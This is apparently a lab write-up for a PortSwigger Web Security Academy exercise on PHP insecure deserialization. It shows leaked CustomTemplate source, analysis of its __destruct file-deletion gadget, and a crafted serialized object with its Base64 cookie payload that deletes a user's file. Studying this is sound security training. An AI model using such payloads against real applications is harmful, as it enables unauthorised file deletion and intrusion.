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# Injecting Arbitrary Objects in PHP

Injecting Arbitrary Objects in PHP notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Arbitrary Object Injection in PHP

**Description of lab**

This lab uses a session mechanism based on PHP\*\* serialization and is vulnerable to a \*\* injection of arbitrary objects\*\*. / The goal is to **make and inject a malicious serialized object** in order to delete the `morale.txt` file located in Carlos' personal directory.

Identifier provided:

* **User**: `wiener`
* **Password**: `peter`

**Connecting and observing the session**

After connecting to the provided credentials, a **session cookie** is set. / Its content is a serialized PHP object of type `User`, for example:

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"v2rpyke9b13ypl302bxc74cerzpnp8st";}
```

{% endcode %}

This confirms that the \*\* application deseriates PHP objects that can be controlled by the user\*\*.

**Access to source code**

In the HTML code of the application, a comment draws attention:

```html
 <!-- TODO: Refactor once /libs/CustomTemplate.php is updated -->
```

Direct access to `/libs/CustomTemplate.php` file does not return anything.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-94655b4741007dd0b2cd0bd6ea55f157ab00d2b5%2F%7B4CD672BA-97B5-4C3F-9864-C2A4E0197170%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

However, using a **saveguard editor** (suffix `~`):

we get the \*\* PHP source code\*\*.

```php
<?php

class CustomTemplate {
    private $template_file_path;
    private $lock_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
        $this->lock_file_path = $template_file_path . ".lock";
    }

    private function isTemplateLocked() {
        return file_exists($this->lock_file_path);
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lock_file_path, "") === false) {
                throw new Exception("Could not write to " . $this->lock_file_path);
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
}

?>
```

**Vulnerable class analysis**

The `CustomTemplate` class includes:

* Two private attributes:
* `$template_file_path`
* `$lock_file_path`
* A magical `__destruct()` method that executes:

```php
if (file_exists($this->lock_file_path)) {
    unlink($this->lock_file_path);
}
```

This means that **when destroying the object**, any file whose path is stored in `lock_file_path` can be deleted

**Operation via deserialization**

Since the application deserializes PHP objects from the session, it is possible to:

1. Manually create a `CustomTemplate` object
2. Directly control `lock_file_path`
3. Force deletion of the target file when calling automatically to `__destruct()`

Malicious serialized object:

{% code overflow="wrap" %}

```json
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
```

{% endcode %}

**Encodage Base64**

To inject into the session cookie, the object is encoded in Base64:

{% code overflow="wrap" %}

```bash
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ==
```

{% endcode %}


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